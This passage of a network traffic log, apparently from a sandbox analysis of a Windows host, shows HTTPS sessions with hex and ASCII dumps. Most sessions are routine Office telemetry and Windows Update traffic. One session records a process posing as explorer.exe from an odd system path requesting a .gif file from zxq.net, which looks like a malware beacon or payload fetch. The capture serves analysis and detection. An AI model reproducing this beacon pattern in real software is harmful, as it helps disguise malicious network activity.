<RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	60478	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:37 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 7f6d22c4-101e-0046-21f0-2591b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120838Z-15b8d89586ff5l62aha9080wv000000007rg000000009mg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	60477	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:37 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120837Z-16849878b78tg5n42kspfr0x4800000006f000000000beue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:38 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	60481	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:38 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120838Z-16849878b78fhxrnedubv5byks00000004vg000000006ncb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:38 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	60480	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:38 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VatNPFTcculonAy&MD=pDKKvD8Y HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 12:08:38 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ec4a70cd-4361-40d3-8120-dbf856b8c6c0 MS-RequestId: a7cb442c-bdb0-471e-947a-e50fef674efe MS-CV: zMCwcqfDfkG9RiWr.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 12:08:37 GMT Connection: close Content-Length: 24490
2024-10-29 12:08:38 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 12:08:38 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	60482	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:38 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: ab89d8fd-301e-001f-7989-29aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120838Z-17c5cb586f6f8m6jnehy0z65x400000005s0000000006862 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:38 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	60483	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:38 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120838Z-16849878b78wv88bk51myq5vxc00000006r000000000cnfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:38 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	60484	51.81.194.202	443	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:38 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-29 12:08:38 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Tue, 29 Oct 2024 12:08:38 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	60485	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:38 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120838Z-16849878b78j7llf5vkyvvcehs00000007ng000000004e1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	60486	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:38 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: cd644fad-f01e-0071-6ce7-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120838Z-r197bdfb6b4wmcgqdschtyp7yg00000006a000000000c3xz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	60487	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:39 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 27230864-a01e-0070-6533-26573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120839Z-17c5cb586f66g7mvgrudxte95400000001c0000000009x1p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	60488	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:39 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120839Z-16849878b78bcpfn2qf7sm6hsn000000086g000000001yf3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:39 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	60490	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:39 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:39 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120839Z-16849878b78nx5sne3fztmu6xc00000007eg00000000a7es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
